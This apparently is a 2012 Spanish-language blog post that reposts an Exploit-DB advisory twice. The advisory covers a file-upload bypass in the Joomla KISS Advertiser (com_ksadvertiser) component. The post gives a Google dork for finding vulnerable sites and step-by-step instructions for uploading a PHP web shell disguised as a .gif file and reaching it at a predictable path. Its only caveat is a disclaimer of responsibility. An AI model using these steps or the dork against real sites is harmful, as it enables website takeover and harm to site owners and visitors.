domingo, 4 de noviembre de 2012
sábado, 3 de noviembre de 2012
Joomla KISS Advertiser | Remote File & Bypass Upload Vulnerability |
############################################################################
# # Exploit Title: Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability
# # Google Dork: inurl:index.php?option=com_ksadvertiser
# # Date: [12-07-2012]
#
# Author: Daniel Barragan
#
# Twitter: @D4NB4R<br>
# # site: http://www.insecurityperu.org/
#
# vendor Link: http://www.kiss-software.de
# # Tested on: [Linux(arch)-Windows(7ultimate)]
#
1. Some pages require the Register / Registrese Algunas Paginas lo exigen
http://site/index.php?option=com_user&view=login
2. Dirijase a la ruta del upload
http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
3. Vaya a imagenes y dele click a upload, examine su archivo shell.php y renombrelo a shell.php.gif
4, Busque su archivo en la raiz
/images/ksadvertiser/U0 --> esta puede variar
http://site/images/ksadvertiser/U0/403.php.gif
No me hago responsable del uso que selede
___________________________________________________________________________
Daniel Barragan "D4NB4R" Site: http://www.exploit-db.com // http://packetstormsecurity.org /
FUENTE : http://www.exploit-db.com/exploits/19792/
______________________________________________________________________
# # Exploit Title: Joomla com_KSAdvertiser Remote File & Bypass Upload Vulnerability
# # Google Dork: inurl:index.php?option=com_ksadvertiser
# # Date: [12-07-2012]
#
# Author: Daniel Barragan
#
# Twitter: @D4NB4R<br>
# # site: http://www.insecurityperu.org/
#
# vendor Link: http://www.kiss-software.de
# # Tested on: [Linux(arch)-Windows(7ultimate)]
#
1. Some pages require the Register / Registrese Algunas Paginas lo exigen
http://site/index.php?option=com_user&view=login
2. Dirijase a la ruta del upload
http://site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
3. Vaya a imagenes y dele click a upload, examine su archivo shell.php y renombrelo a shell.php.gif
4, Busque su archivo en la raiz
/images/ksadvertiser/U0 --> esta puede variar
http://site/images/ksadvertiser/U0/403.php.gif
No me hago responsable del uso que selede
___________________________________________________________________________
Daniel Barragan "D4NB4R" Site: http://www.exploit-db.com // http://packetstormsecurity.org /
FUENTE : http://www.exploit-db.com/exploits/19792/
______________________________________________________________________
Suscribirse a:
Entradas (Atom)